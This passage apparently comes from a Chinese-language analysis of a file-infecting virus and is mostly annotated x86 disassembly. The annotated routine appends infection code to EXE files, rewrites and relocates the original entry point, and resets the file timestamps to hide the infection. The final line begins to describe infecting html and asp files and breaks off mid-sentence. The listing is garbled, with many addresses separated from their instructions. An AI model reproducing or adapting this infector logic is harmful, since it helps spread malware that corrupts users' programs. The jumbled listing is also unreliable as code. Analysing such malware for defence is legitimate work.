.text:004072F5 mov eax, [eax+50h] .text:004072F8 add eax, [ebp+var_5C] .text:004072FB mov ecx, [ebp+NTAddress]
.text:00407301 mov [ecx+50h], eax ; 修改导入表的地址 .text:00407304 push [ebp+lpBaseAddress] ; lpBaseAddress .text:00407307 call ds:UnmapViewOfFile
.text:0040731E push 2 ; dwMoveMethod
.text:00407320 push 0 ; lpDistanceToMoveHigh .text:00407322 .text:00407328 .text:0040732B .text:0040732C .text:0040732F .text:00407335 .text:00407338 .text:0040733E .text:00407340 .text:00407342 .text:00407344 .text:00407347 .text:00407348 .text:0040734B .text:00407351 .text:00407353 .text:00407356 .text:00407357 .text:0040735C .text:00407361 .text:00407364 .text:0040736A .text:0040736C .text:0040736F .text:00407370 ; nNumberOfBytesToWrite
.text:00407376 .text:0040737C .text:0040737F .text:00407385 .text:00407387 .text:00407389 .text:0040738B .text:00407391 .text:00407394 mov eax, [ebp+SplcaeEnd] add eax, [ebp+var_54]
push eax ; lDistanceToMove push [ebp+hFile] ; hFile call ds:SetFilePointer
push [ebp+hFile] ; hFile call ds:SetEndOfFile
push 2 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh xor eax, eax
sub eax, [ebp+var_54]
push eax ; lDistanceToMove push [ebp+hFile] ; hFile
call ds:SetFilePointer ; 定位到文件结尾 push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten push 297h ; nNumberOfBytesToWrite push offset loc_409BA8 ; lpBuffer push [ebp+hFile] ; hFile
call ds:WriteFile ; 写入感染exe的代码 push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten push nNumberOfBytesToWrite push lpBuffer ; lpBuffer push [ebp+hFile] ; hFile call ds:WriteFile
push 1 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh xor eax, eax
sub eax, nNumberOfBytesToWrite sub eax, 2Bh
push eax ; lDistanceToMove
.text:00407395 push [ebp+hFile] ; hFile .text:00407398 call ds:SetFilePointer
.text:0040739E push 0 ; lpOverlapped .text:004073A0 lea eax, [ebp+NumberOfBytesWritten]
.text:004073A3 push eax ; lpNumberOfBytesWritten .text:004073A4 push 4 ; nNumberOfBytesToWrite .text:004073A6 push offset nNumberOfBytesToWrite ; lpBuffer .text:004073AB push [ebp+hFile] ; hFile .text:004073AE call ds:WriteFile
.text:004073B4 mov eax, [ebp+EndOfShellCode] .text:004073B7 add eax, 297h
.text:004073BC mov ecx, [ebp+OEP] ; 保存OEP .text:004073C2 sub ecx, eax
.text:004073C4 mov [ebp+Buffer], ecx ; 重定位OEP
.text:004073C7 push 2 ; dwMoveMethod
.text:004073C9 push 0 ; lpDistanceToMoveHigh .text:004073CB xor eax, eax
.text:004073CD sub eax, [ebp+var_54]
.text:004073D0 push eax ; lDistanceToMove .text:004073D1 push [ebp+hFile] ; hFile .text:004073D4 call ds:SetFilePointer
.text:004073DA push 1 ; dwMoveMethod
.text:004073DC push 0 ; lpDistanceToMoveHigh .text:004073DE push 293h ; lDistanceToMove .text:004073E3 push [ebp+hFile] ; hFile .text:004073E6 call ds:SetFilePointer
.text:004073EC push 0 ; lpOverlapped .text:004073EE lea eax, [ebp+NumberOfBytesWritten]
.text:004073F1 push eax ; lpNumberOfBytesWritten .text:004073F2 push 4 ; nNumberOfBytesToWrite .text:004073F4 lea eax, [ebp+Buffer]
.text:004073F7 push eax ; lpBuffer .text:004073F8 push [ebp+hFile] ; hFile
.text:004073FB call ds:WriteFile ; 将OEP写入被感染的exe文件 .text:00407401 push 1 ; int .text:00407403 lea eax, [ebp+CreationTime]
.text:00407409 push eax ; lpCreationTime .text:0040740A push [ebp+hFile] ; hFile
.text:0040740D call FileOldTime ; 将被感染的文件的时间设置成之前的时间
对于html和htm，asp，apsl格式文件则在该文件末尾写上一串